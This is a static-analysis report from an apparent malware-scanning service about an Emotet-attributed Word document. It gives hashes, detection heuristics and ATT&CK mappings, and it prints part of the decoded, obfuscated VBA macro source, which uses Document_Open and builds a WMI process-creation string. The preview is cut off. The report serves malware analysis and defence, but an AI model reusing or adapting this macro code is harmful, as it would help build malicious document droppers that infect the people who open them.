Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 530c8a300c489e40…

MALICIOUS

Office (OLE)

232.8 KB Created: 2020-09-04 15:25:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: ad1b0cc87d7fc0560d1be4c0323f2986 SHA-1: ae543ccd303bead0bf6adc2f880668f7dabb9514 SHA-256: 530c8a300c489e40c554fb9c0be1d28633675699b2a84b520ff020fcebcf964d
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The sample contains a Document_Open VBA macro that utilizes CreateObject to execute obfuscated code. This macro is characteristic of Emotet, which is known to download and execute additional payloads. The ClamAV detection name further supports this attribution.

Heuristics 6

  • ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16302 bytes
SHA-256: 4740f60429a3febbdfa0aac300fee5d4eb8beeafbf7c821511dd3e633a7f4504
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "W43tz5hu38adp"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
W5fgr_h2apv = Array(Va6mk3u3fmalx + "Hpmmzw4klebidj7P4hezyoy8fe50t5 O8z4oz10rtz2lbyk7" + Thes7wazqts_l3k, Rgudf8dixg0y, Dmjncamh_k8p.M73h692rcbxkdg1, Wr50n4w1cbc31 + "Ersh9qens24r C761xnmvcyb00yrwf Ipz82f0bhis_df Zs6imqonye4rj03y2m")
End Sub


Attribute VB_Name = "Dmjncamh_k8p"
Attribute VB_Base = "0{BBDCBE7D-00FB-469B-A125-7BB6C62679C9}{560CB6AE-7364-4429-A534-6DFF5940AEAC}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function M73h692rcbxkdg1()
   On Error Resume Next
Select Case Pnt51nbdr60
Case "Soixsz40jo1mhtn"
Gfto057hhaxdoxni8x = (UIbjsahlkdas)
Gfto057hhaxdoxni8x = JHNklHS
Gfto057hhaxdoxni8x = Atn(ihKLNsad)
Gfto057hhaxdoxni8x = Log(323)
Case "L4z1l4buo5ixkbltr"
Gfto057hhaxdoxni8x = 288262913
Gfto057hhaxdoxni8x = u23ioyhiggukjjs
End Select
Select Case Okjruuh95hy
Case "Qhagyyfjh8nz"
Gfto057hhaxdoxni8x = 88383833333#
Gfto057hhaxdoxni8x = (qwlhusaidbwq)
Case "Rqgyhdg7d_cw"
Gfto057hhaxdoxni8x = lkqwhnekqwn
Gfto057hhaxdoxni8x = Log(345345)
Gfto057hhaxdoxni8x = Atn(jsghi2lklqw)
Gfto057hhaxdoxni8x = smbdjlsblkhwqewqd
End Select
O2943zhou0ta = 105
   On Error Resume Next
Select Case Pnt51nbdr60
Case "Soixsz40jo1mhtn"
Gfto057hhaxdoxni8x = (UIbjsahlkdas)
Gfto057hhaxdoxni8x = JHNklHS
Gfto057hhaxdoxni8x = Atn(ihKLNsad)
Gfto057hhaxdoxni8x = Log(323)
Case "L4z1l4buo5ixkbltr"
Gfto057hhaxdoxni8x = 288262913
Gfto057hhaxdoxni8x = u23ioyhiggukjjs
End Select
Select Case Okjruuh95hy
Case "Qhagyyfjh8nz"
Gfto057hhaxdoxni8x = 88383833333#
Gfto057hhaxdoxni8x = (qwlhusaidbwq)
Case "Rqgyhdg7d_cw"
Gfto057hhaxdoxni8x = lkqwhnekqwn
Gfto057hhaxdoxni8x = Log(345345)
Gfto057hhaxdoxni8x = Atn(jsghi2lklqw)
Gfto057hhaxdoxni8x = smbdjlsblkhwqewqd
End Select
P6196fob78q = Chr$(O2943zhou0ta + (10))
   On Error Resume Next
Select Case Pnt51nbdr60
Case "Soixsz40jo1mhtn"
Gfto057hhaxdoxni8x = (UIbjsahlkdas)
Gfto057hhaxdoxni8x = JHNklHS
Gfto057hhaxdoxni8x = Atn(ihKLNsad)
Gfto057hhaxdoxni8x = Log(323)
Case "L4z1l4buo5ixkbltr"
Gfto057hhaxdoxni8x = 288262913
Gfto057hhaxdoxni8x = u23ioyhiggukjjs
End Select
Select Case Okjruuh95hy
Case "Qhagyyfjh8nz"
Gfto057hhaxdoxni8x = 88383833333#
Gfto057hhaxdoxni8x = (qwlhusaidbwq)
Case "Rqgyhdg7d_cw"
Gfto057hhaxdoxni8x = lkqwhnekqwn
Gfto057hhaxdoxni8x = Log(345345)
Gfto057hhaxdoxni8x = Atn(jsghi2lklqw)
Gfto057hhaxdoxni8x = smbdjlsblkhwqewqd
End Select
U6ky2mw13up = "b3bb 17t2 fvhvhjb3bb 17t2 fvhvhjwb3bb 17t2 fvhvhjib3bb 17t2 fvhvhjnmb3bb 17t2 fvhvhjb3bb 17t2 fvhvhjgmb3bb 17t2 fvhvhjtb3bb 17t2 fvhvhjb3bb 17t2 fvhvhj" + P6196fob78q + "b3bb 17t2 fvhvhjb3bb 17t2 fvhvhj:b3bb 17t2 fvhvhjwb3bb 17t2 fvhvhjinb3bb 17t2 fvhvhjb3bb 17t2 fvhvhj3b3bb 17t2 fvhvhj2b3bb 17t2 fvhvhj_b3bb 17t2 fvhvhj" + Dmjncamh_k8p.Hocoho5vzpn3gp + "b3bb 17t2 fvhvhjrob3bb 17t2 fvhvhjb3bb 17t2 fvhvhjceb3bb 17t2 fvhvhjsb3bb 17t2 fvhvhjsb3bb 17t2 fvhvhj"
   On Error Resume Next
Select Case Pnt51nbdr60
Case "Soixsz40jo1mhtn"
Gfto057hhaxdoxni8x = (UIbjsahlkdas)
Gfto057hhaxdoxni8x = JHNklHS
Gfto057hhaxdoxni8x = Atn(ihKLNsad)
Gfto057hhaxdoxni8x = Log(323)
Case "L4z1l4buo5ixkbltr"
Gfto057hhaxdoxni8x = 288262913
Gfto057hhaxdoxni8x = u23ioyhiggukjjs
End Select
Select Case Okjruuh95hy
Case "Qhagyyfjh8nz"
Gfto057hhaxdoxni8x = 88383833333#
Gfto057hhaxdoxni8x = (qwlhusaidbwq)
Case "Rqgyhdg7d_cw"
Gfto057hhaxdoxni8x = lkqwhnekqwn
Gfto057hhaxdoxni8x = Log(345345)
Gfto057hhaxdoxni8x = Atn(jsghi2lklqw)
Gfto057hhaxdoxni8x = smbdjlsblkhwqewqd
End Select
Erxg89w_qk8x = Vons11gsgt99adyv4i(U6ky2mw13up)
   On Error Resume Next
Select Case Pnt51nbdr60
Case "Soixsz40jo1mhtn"
Gfto057hhaxdoxni8x = (UIbjsahlkdas)
Gfto05
... (truncated)

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